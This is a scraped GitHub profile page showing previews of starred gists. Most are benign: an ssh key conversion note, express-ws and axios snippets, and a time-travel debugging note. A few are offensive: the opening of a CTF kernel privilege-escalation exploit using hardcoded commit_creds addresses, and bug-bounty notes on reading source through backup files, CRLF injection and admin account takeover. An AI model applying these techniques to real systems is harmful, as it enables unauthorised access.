Skip to content

Instantly share code, notes, and snippets.

View howmuch515's full-sized avatar
🌎
Hello, world!

appBana howmuch515

🌎
Hello, world!
  • Japan.Tokyo
  • X @howmuch515
View GitHub Profile
@volpino
volpino / jfk_exploit.c
Created March 1, 2015 22:05
BKP2015 JFK
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
#include <string.h>
void get_root(void) {
void * (*prepare_kernel_cred)(void *) = (void *) 0xc00387f4;
void (*commit_cred)(void *) = (void *) 0xc00384b4;
@shgeta
shgeta / sshpubkey2pem.md
Last active October 10, 2021 14:39
ssh接続用の公開鍵( ssh-rsa public key )をopensslで使える形式( X.509 PEM )にshellscriptで変換する Mac OS X ( Convert ssh-rsa public key to pem )

#ssh接続用の公開鍵( ssh-rsa public key )をopensslで使える形式( X.509 PEM )にshellscriptで変換する Mac OS X (Convert ssh-rsa public key to pem.)

概要

ssh-rsa公開鍵からpem公開鍵への変換。 rsaで公開鍵を使って暗号化するためにはopensslを使えばいいんだが、ssh-keygenで作ったssh接続用のrsa公開鍵そのままではうまくいかない。opensslで使える形式に変換する必要がある。 ssh接続用の公開鍵をopensslで使える形式に変換するのはopenssh付属のssh-keygen で

ssh-keygen -e -m PKCS8 -f ~/.ssh/id_rsa.pub >/tmp/x1sfsdpem.pub

こんな感じでできる。はずなんだけど、現在osx標準搭載のopensshのバージョンでは、なんでかうまく変換できない。そのためこの変換をする場合、最新版のopensshをインストールする必要がある。 このスクリプトは__最新版opensslのインストールなしに__ 変換を実現するもの。

@hugosp
hugosp / app.js
Created April 4, 2016 22:37
Minimal express-ws broadcast to all clients
var express = require('express');
var expressWs = require('express-ws');
var expressWs = expressWs(express());
var app = expressWs.app;
app.use(express.static('public'));
var aWss = expressWs.getWss('/');
app.ws('/', function(ws, req) {
@yajra
yajra / axios-401-response-interceptor.js
Last active October 8, 2024 21:22
Axios 401 response interceptor.
// Add a 401 response interceptor
window.axios.interceptors.response.use(function (response) {
return response;
}, function (error) {
if (401 === error.response.status) {
swal({
title: "Session Expired",
text: "Your session has expired. Would you like to be redirected to the login page?",
type: "warning",
showCancelButton: true,

Time Travel Debugging

Time Travel refers to the ability to record a tab and later replay it ([WebReplay][wrr]). The technology is useful for local development, where you might want to:

  • pause and step forwards or backwards
  • pause and rewind to a prior state
  • rewind to the time a console message was logged
  • rewind to the time an element had a certain style or layout
  • rewind to the time a network asset loaded
site.com/file.php
response = nothing
http://site.com/file.php~
response = source
-------------------------------------
https://github.com/kleiton0x00/CRLF-one-liner
------------------------------------------
try to add admin as your user,
change his email to yours,